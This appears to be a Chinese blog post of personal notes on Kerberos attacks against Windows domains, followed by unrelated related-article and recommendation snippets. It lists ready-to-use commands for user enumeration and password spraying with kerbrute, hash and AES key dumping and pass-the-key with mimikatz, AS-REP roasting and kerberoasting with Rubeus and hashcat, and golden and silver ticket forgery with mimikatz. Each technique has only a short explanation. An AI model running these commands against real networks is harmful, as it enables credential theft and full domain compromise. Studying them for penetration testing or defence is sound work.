Kerberos相关的安全问题
用户名枚举
原理
不存在的用户
存在的用户
通过这个比较就可以写脚本改变cname的值进行用户名枚举。
利用
https://github.com/ropnop/kerbrute/
kerbrute.exe userenum -d muxue.com user.txt
获取到用户名后 就可以接着枚举密码了;也就是Password Spraying
Password Spraying
原理
密码错误
密码成功
利用
kerbrute.exe passwordspray -d muxue.com user.txt admin123!
Pass The Hash
原理
在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。
利用
pth的方法有很多啊 我擦 就不一一举例了
Pass The Key
原理
如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key;
pth的算法是rc4
利用
// dumphash
privilege::debug
sekurlsa::ekeys
// import
privilege::debug
sekurlsa::pth /user:user /domain:domain_name /aes256:xxx
// dir
dir \\dc\c$
然后导入票据 他会新弹出一个cmd
后来我再测试的时候 不知道为啥aes256和aes128都不显示,你提升到debug权限就得域管,域管本来就可以dir dc的把 我擦 没搞懂
AS-REP Roasting
原理
开启了不要求Kerberos预身份验证
,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令
利用
这个洞需要设置账户
Rubeus.exe asreproast
然后使用hashcat爆破(先加一个$23
)
hashcat -m 18200 hash.txt pass.txt --force
Golden Tickets
原理
在AS_REP里面的TGT的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。
利用
伪造黄金票据
先获取域的SID和krbtgt的值
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
sid最后-后面的不要
Pass the ticket
原理
Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据
利用
其实我们上篇搞非约束委派的时候 就用到了ptt,获取票据以后再传递
Kerberoassting
原理
是使用要请求的服务的hash加密的,所以我们可以通过爆破获得服务的hash。
https://3gstudent.github.io/域渗透-Kerberoasting;推荐看三好学生师傅的文章
利用
Rubeus.exe kerberoast
hashcat -m 13100 hash.txt pass.txt --force
Sliver Tickets
也就是白银票据
原理
Ticket=Server Hash(Server Session Key+Client info+End Time)
所以当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
利用
首先需要导出Server Hash
伪造票据
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" "exit"
委派
委派就看我上篇文章吧
Kerberos相关的安全问题的更多相关文章
- phoenix PQS的kerberos相关配置
thin 客户端的实例代码 jdbc:phoenix:thin:url=<scheme>://<server-hostname>:<port>;authentica ...
- 进行Spark,Kafka针对Kerberos相关配置
1. 提交任务的命令 spark-submit \--class <classname> \--master yarn \--deploy-mode client \--executor- ...
- kerberos相关
1.kerberos认证覆盖问题 先显示指定KRB5CCNAME存储的路径 export KRB5CCNAME=/tmp/krb5cc_xxx kinit -kt /home/xxx.keytab x ...
- 【大数据安全】基于Kerberos的大数据安全验证方案
1.背景 互联网从来就不是一个安全的地方.很多时候我们过分依赖防火墙来解决安全的问题,不幸的是,防火墙是假设"坏人"是来自外部的,而真正具有破坏性的攻击事件都是往往都是来自于内部的 ...
- Ambari与Kerberos 集成
Kerberos 介绍 Kerberos 是一个网络认证的框架协议,其设计的初衷便是通过密钥系统为 Client 和 Server 应用程序之间提供强大的认证服务.在使用 Kerberos 认证的集群 ...
- MySQL安全问题(防范必知)
对于任何一种数据库来说,安全问题都是非常重要的.如果数据库出现安全漏洞,轻则数据被窃取,重则数据被破坏,这些后果对于一些重要的数据库都是非常严重的.下面来从操作系统和数据库两个层对MySQL的安全问题 ...
- Kerberos和NTLM - SQL Server
当我们使用Windows Authentication去连接SQL Server的时候,SQL Server可能会使用Kerberos或者是NTLM来进行认证,有时间就会因为认证失败的缘故造成各种登录 ...
- 浅谈运维中的安全问题-FTP篇
写这一系列文章的动因很简单,在年前最后一个项目的时候在客户现场做了的几个安全加固.由于时间问题,很多东西就拿来主义没经过思考直接更改了,并未细细品味其中的原理和方法,所以特地搭建实验环境,分析下其中的 ...
- [转帖]Kerberos和NTLM - SQL Server
Kerberos和NTLM - SQL Server https://www.cnblogs.com/dreamer-fish/p/3458425.html 当我们使用Windows Authenti ...
随机推荐
- 44、wget和curl的常用参数
1.wget: wget是文件下载的工具: 不加任何参数是直接下载该文件: (1)-O: 将下载的文件指定为特定的文件名: wget -O baidu.html www.baidu.com --201 ...
- iOS如何提升,首先得知自己的处境!(欢迎评论留言)
聊聊行情?为什么总有人在乎旁人的看法而忽略自己的初衷?虽然iOS开发市场说不上好但也绝不算坏,想没想过那些煽风点火说iOS不行的人在做什么?真的转行从头开始?错.大错特错!在劝退你的同时他们会默默的学 ...
- SPF Tarjan算法求无向图割点(关节点)入门题
SPF 题目抽象,给出一个连通图的一些边,求关节点.以及每个关节点分出的连通分量的个数 邻接矩阵只要16ms,而邻接表却要32ms, 花费了大量的时间在加边上. // time 16ms 1 ...
- CRM系统如何帮助企业管理多条业务线的?
在如今的市场环境中,许多企业为了提高销售效率,增加业绩收入,都会选择使用CRM客户关系管理系统来帮助进行对客户和销售的管理.CRM系统能够帮助企业在不同的产品线上同时开展营销活动.各个销售团队能够独立 ...
- 并发王者课-铂金10:能工巧匠-ThreadLocal如何为线程打造私有数据空间
欢迎来到<并发王者课>,本文是该系列文章中的第23篇,铂金中的第10篇. 说起ThreadLocal,相信你对它的名字一定不陌生.在并发编程中,它有着较高的出场率,并且也是面试中的高频面试 ...
- RabbitMq脑裂问题
现象 部署在阿里云上的2台RabbitMQ主从,访问management页面时出现如下所示的内容: 查看其中一个mq的日志,发现如下内容: 00:06:32.423 [warning] <0.5 ...
- linux 操作目录
脚本 获取一个目录下各子目录中的文件个数 #!/bin/sh find /tmp/homework -maxdepth 1 -type d | while read dir; do count=$(f ...
- Linux alias 或者 unalias 设置别名
设置别名 查看别名:alias 设置别名: 临时设置: alias show='ls -al' 上述设置方法存在一个问题,即设置的命令别名只针对当前回话有效,一旦连接断开并重连之前设置的别名别不在有效 ...
- 发送 email (转)
<?phpnamespace app\common\controller;//基类class Email{ /* Public Variables */ var $smtp_port; var ...
- WPF教程三:学习Data Binding把思想由事件驱动转变为数据驱动
之前大家写代码都喜欢用事件驱动,比如说鼠标输入的click事件.初始化的内容全部放在窗体加载完毕的load事件,等等,里面包含了大量的由事件触发后的业务处理代码.导致了UI和业务逻辑高度耦合在一个地方 ...